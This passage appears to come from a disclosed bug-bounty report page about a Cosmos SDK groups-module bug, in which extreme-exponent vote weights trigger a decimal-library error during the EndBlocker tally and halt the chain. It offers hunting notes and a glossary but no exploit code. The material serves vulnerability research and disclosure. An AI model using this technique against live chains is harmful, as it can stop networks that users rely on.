  • Tally paths triggered by different vote combinations, such as a tiny-weight yes vote against a huge total, or the reverse. A positive result is the same exponent out of range error in node logs.

Hunting notes

This bug sits at the boundary between a patched vulnerability and its siblings: the researcher read the fix for a divide-by-zero and asked which other errors the same call could return. That is a productive habit on any codebase with a recent security advisory, because fixes tend to guard the reported symptom rather than the whole failure surface of the underlying library.

During recon, look for modules that accept user-supplied numeric values as strings and feed them into arbitrary-precision decimal arithmetic, especially where those values influence consensus-critical state transitions such as EndBlocker tallies. Unbounded weights, percentages and thresholds are the signals. The impact was demonstrated by reproducing a full chain halt on a scaffolded chain with the exact SDK version, including the node log showing the consensus failure.

Glossary

  • Blockchain: a shared ledger kept in sync by many computers, where each block of transactions is agreed by consensus.
  • Node: one computer running the blockchain software and keeping a copy of the ledger.
  • Chain halt: the whole network stops producing blocks, usually because nodes cannot agree or crash on the same block.
  • Cosmos SDK: a toolkit for building blockchains, made of optional modules.
  • Module: a self-contained feature of the Cosmos SDK, such as the groups module.
  • Groups module (x/group): the feature that lets a set of accounts act collectively through proposals and votes.
  • Group: a set of accounts, each with a weight.
  • Weight: a number saying how much a member's vote counts.
  • Group policy: the wrapper that ties a group to a decision policy.
  • Decision policy: the rule deciding when a proposal passes.
  • PercentageDecisionPolicy: a decision policy that passes a proposal when the yes share reaches a configured percentage.
  • Proposal: a suggested action that group members vote on.
  • Voting period: the time window during which votes are accepted.
  • Min execution period: a minimum wait before an approved proposal can execute.
  • Tally: the counting of votes at the end of the voting period.
  • EndBlocker: code that runs automatically at the end of every block.
  • doTallyAndUpdate: the function that performs the tally and updates the proposal state.
  • Divide by zero: an impossible arithmetic operation, dividing a number by zero.
  • Quo: the decimal library's division operation (short for quotient).
  • Decimal library (cockroachdb/apd): software for precise arithmetic with very large or very small numbers.
  • Exponent: the small raised number in scientific notation, as in 1e50000, meaning 1 followed by 50,000 zeros.
  • Scientific notation: a shorthand for very large or very small numbers using a power of ten.
  • Out of range: outside the limits the software can represent.
  • Overflow: a value too large to represent.
  • Underflow: a value too small to represent.
  • Panic: a program crashing on purpose when it hits a situation it cannot handle.
  • Stack trace: a list of the function calls that led to a crash.
  • Consensus: the process by which nodes agree on the next block.
  • FinalizeBlock: the step where a node applies a block to its state.
  • Deterministic: producing the same result on every machine, so all nodes fail together.
  • Transaction (tx): a signed instruction sent to the chain, such as creating a group or voting.
  • Query (q): a read-only request to the chain, such as looking up a policy address.
  • Ignite: a tool that scaffolds and runs a test blockchain.
  • MsgSend: the bank module message that transfers tokens.
  • Denom: the name of a token, here stake.
  • Validator: a node that participates in producing and agreeing on blocks.
  • Full node: a node that keeps a full copy of the chain but does not necessarily validate blocks.
  • Write-ahead log (baseWAL): a file where a node records data before committing it.
  • Security advisory: a public notice about a vulnerability and its fix.
  • Patch: a code change that fixes a bug.
  • Recon: the research phase where you study a target before attacking it.
  • Arbitrary-precision arithmetic: arithmetic that can handle numbers far larger or smaller than normal computer numbers.
  • Consensus-critical: state that all nodes must compute identically, or the chain breaks.

More by vakzz

View all

24 more disclosed reports, best first.

More from Cosmos

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.